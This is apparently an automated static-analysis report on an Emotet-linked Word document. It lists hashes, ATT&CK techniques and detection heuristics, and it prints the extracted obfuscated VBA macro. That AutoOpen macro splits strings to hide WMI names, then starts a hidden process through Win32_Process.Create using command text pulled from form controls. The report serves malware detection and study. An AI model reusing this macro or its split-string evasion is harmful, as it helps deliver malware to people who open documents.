Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 30d2d040ef433edf…

MALICIOUS

Office (OLE)

131.6 KB Created: 2019-05-16 18:54:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 32736d3a57262fb0d44fb477a3034ce4 SHA-1: 29453b162e32efc0dd8992c71657554a117a5b4f SHA-256: 30d2d040ef433edfdc2024e7e73a6c7832a790da66d7d913c0544e721bb0f5d7
342 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains a VBA macro with an autoopen subroutine that uses GetObject to instantiate WMI. The script then reconstructs the string 'winmgmts:Win32_Process' to create a new process, likely to download and execute a second-stage payload. This behavior is characteristic of Emotet malware.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1264 bytes
SHA-256: be60e0311c00ec215c4fa4c8660ea870c8aed2118a8c010f8db560734e148e0e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "d0565_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "s251921, 0, 0, MSForms, TextBox"
Attribute VB_Control = "E_55377, 1, 1, MSForms, TextBox"
Attribute VB_Control = "k1_257, 2, 2, MSForms, TextBox"
Attribute VB_Control = "L278159, 3, 3, MSForms, TextBox"
Attribute VB_Control = "a28_1645, 4, 4, MSForms, TextBox"
Attribute VB_Control = "B076_957, 5, 5, MSForms, TextBox"

Attribute VB_Name = "F85601"
Sub _
autoopen( _
)
Set V5512_7 = GetObject(("winm" + "gmts:" + "Win" + "32_Proc" + "essS" + "tartup"))
   m1463_41 = (("q70184") + ("240575542"))
V5512_7. _
ShowWindow = vbFalse - vbFalse
   s360_275 = (("m1_025_") + ("720877536"))
T91451 = d0565_.E_55377 + d0565_.k1_257 + d0565_.L278159 + d0565_.a28_1645 + d0565_.s251921
   f413670 = (("N735_425") + ("570116906"))
Set w5755393 = GetObject(("winm" + "gmts:" + "Win3" + "2_Process"))
   p063161 = (("X4228814") + ("365001640"))
w5755393.Create A66_5_ + T91451 + p31022, Q96247, V5512_7, V92043
End Sub


Attribute VB_Name = "z4803069"

Open this report in the interactive analyzer, or submit your own file for analysis.